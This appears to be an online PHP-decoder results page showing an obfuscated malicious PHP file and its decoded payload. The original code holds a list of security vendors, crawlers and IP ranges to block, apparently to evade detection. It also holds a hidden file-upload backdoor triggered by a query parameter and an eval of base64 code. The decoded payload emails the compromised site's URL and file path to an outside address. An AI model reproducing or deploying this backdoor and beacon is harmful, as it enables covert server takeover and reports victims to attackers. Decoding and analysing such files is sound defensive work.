Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

<?php $bannedIP = array("above", "google", "softlayer", "amazonaws", "cyveillance", ..

Decoded Output download

?>b'<?php
$site = "";
if(!ereg($site, $_SERVER[\'SERVER_NAME\']))
{   $to = "[email protected]";
    $subject = "w0rm";
    $header = "from: BoT <[email protected]>";
    $message = "Link : http://" . $_SERVER[\'SERVER_NAME\'] . $_SERVER[\'REQUEST_URI\'] . "
";
    $message .= "Path : " . __file__;
    $sentmail = @mail($to, $subject, $message, $header);
    echo "";
}
?>'

Did this file decode correctly?

Original Code

<?php
$bannedIP = array("above",
"google",
"softlayer",
"amazonaws",
"cyveillance",
"phishtank",
"dreamhost",
"netpilot",
"calyxinstitute",
"tor-exit",
"msnbot",
"p3pwgdsn",
"netcraft",
"trendmicro",
"ebay",
"paypal",
"torservers",
"messagelabs",
"sucuri.net",
"crawler",
"^81.161.59.*", "^66.135.200.*", "^66.205.64.*", "^204.14.48.*", "^64.27.2.*", "^202.108.252.*", "^193.47.80.*", "^64.62.136.*", "^67.209.128.*", "^12.148.209.*", "^12.148.196.*", "^193.220.178.*", "68.65.53.71", "^64.106.213.*", "^91.103.66.*", "^208.91.115.*", "^199.30.228.*");
$xsec  = $_GET['xsec'];
if($xsec == 'blocker'){
$xsecsh = $_FILES['file']['name'];
$xsecblocker  = $_FILES['file']['tmp_name'];
echo "<form method='POST' enctype='multipart/form-data'> <input type='file'name='file' /> <input type='submit' value='up_it' /> </form>"; move_uploaded_file($xsecblocker,$xsecsh); } 
eval("\x3f>".base64_decode("\x50\x44\x39w\x61\x48\x41N\x43\x69\x52\x7aa\x58\x52\x6cI\x44\x30\x67I\x69\x497\x44\x51\x70\x70\x5ai\x67h\x5aX\x4al\x5ay\x67\x6bc\x32l\x30Z\x53\x77\x67\x4aF\x39T\x52V\x4aW\x52\x56\x4a\x62\x4a\x31N\x46U\x6c\x5a\x46\x55\x6c9\x4fQ\x55\x31F\x4a1\x30\x70\x4b\x51\x30\x4be\x79A\x67\x49C\x52\x30b\x79A\x39I\x43\x4az\x63G\x46t\x62W\x56y\x65\x6dV\x79\x620\x42n\x62\x57F\x70\x62C\x35j\x62\x32\x30i\x4f\x77\x30K\x49C\x41\x67I\x43\x52\x7a\x64W\x4aq\x5a\x57\x4e0\x49\x44\x30g\x49n\x63w\x63\x6d\x30i\x4fw\x30\x4b\x49C\x41g\x49C\x52\x6f\x5aW\x46\x6bZ\x58I\x67P\x53A\x69\x5an\x4a\x76\x62\x54\x6fg\x51m\x39\x55\x49D\x782\x593\x52t\x51H\x64l\x59\x6d\x31\x68\x61W\x77u\x592\x39t\x50i\x497\x44Q\x6fg\x49\x43\x41g\x4a\x471\x6cc\x33\x4e\x68Z\x32\x55g\x50\x53A\x69T\x47\x6cu\x61\x79\x416\x49G\x680\x64\x48\x416\x4c\x79\x38i\x49C\x34\x67J\x46\x39\x54\x52\x56J\x57\x52V\x4a\x62J\x31\x4eF\x55l\x5a\x46U\x6c\x39\x4f\x51U\x31F\x4a1\x30g\x4ci\x41\x6b\x58\x31\x4e\x46\x55l\x5aF\x55l\x73\x6eU\x6bV\x52V\x55V\x54V\x469\x56\x55k\x6b\x6eX\x53\x41u\x49C\x49N\x43i\x49\x37\x44\x51o\x67\x49\x43A\x67\x4aG\x31\x6cc\x33N\x68Z\x32U\x67L\x6a\x30\x67I\x6c\x42h\x64\x47\x67g\x4f\x69\x41i\x49C\x34g\x581\x39m\x61W\x78\x6cX\x31\x387\x44Q\x6fg\x49C\x41g\x4a\x48\x4el\x62\x6e\x52\x74\x59W\x6cs\x49\x44\x30g\x51G\x31\x68a\x57\x77\x6fJ\x48R\x76L\x43A\x6bc\x33V\x69\x61m\x56j\x64\x43\x77\x67J\x471\x6cc\x33N\x68\x5a\x32U\x73I\x43R\x6f\x5a\x57\x46k\x5aX\x49\x70\x4fw\x30K\x49\x43A\x67I\x47V\x6a\x61G\x38\x67I\x69I\x37\x44\x51p\x39D\x51o\x2f\x50g\x3d="));
?>

Function Calls

base64_decode 1

Variables

$xsec None
$bannedIP [{'key': 0, 'value': 'above'}, {'key': 1, 'value': 'google'}, {'key': 2, 'value': 'softlayer'}, {'key': 3, 'value': 'amazonaws'}, {'key': 4, 'value': 'cyveillance'}, {'key': 5, 'value': 'phishtank'}, {'key': 6, 'value': 'dreamhost'}, {'key': 7, 'value': 'netpilot'}, {'key': 8, 'value': 'calyxinstitute'}, {'key': 9, 'value': 'tor-exit'}, {'key': 10, 'value': 'msnbot'}, {'key': 11, 'value': 'p3pwgdsn'}, {'key': 12, 'value': 'netcraft'}, {'key': 13, 'value': 'trendmicro'}, {'key': 14, 'value': 'ebay'}, {'key': 15, 'value': 'paypal'}, {'key': 16, 'value': 'torservers'}, {'key': 17, 'value': 'messagelabs'}, {'key': 18, 'value': 'sucuri.net'}, {'key': 19, 'value': 'crawler'}, {'key': 20, 'value': '^81.161.59.*'}, {'key': 21, 'value': '^66.135.200.*'}, {'key': 22, 'value': '^66.205.64.*'}, {'key': 23, 'value': '^204.14.48.*'}, {'key': 24, 'value': '^64.27.2.*'}, {'key': 25, 'value': '^202.108.252.*'}, {'key': 26, 'value': '^193.47.80.*'}, {'key': 27, 'value': '^64.62.136.*'}, {'key': 28, 'value': '^67.209.128.*'}, {'key': 29, 'value': '^12.148.209.*'}, {'key': 30, 'value': '^12.148.196.*'}, {'key': 31, 'value': '^193.220.178.*'}, {'key': 32, 'value': '68.65.53.71'}, {'key': 33, 'value': '^64.106.213.*'}, {'key': 34, 'value': '^91.103.66.*'}, {'key': 35, 'value': '^208.91.115.*'}, {'key': 36, 'value': '^199.30.228.*'}]

Stats

MD5 c7ff566f5e8ff3aa6a0d16afc26a2fdc
Eval Count 1
Decode Time 119 ms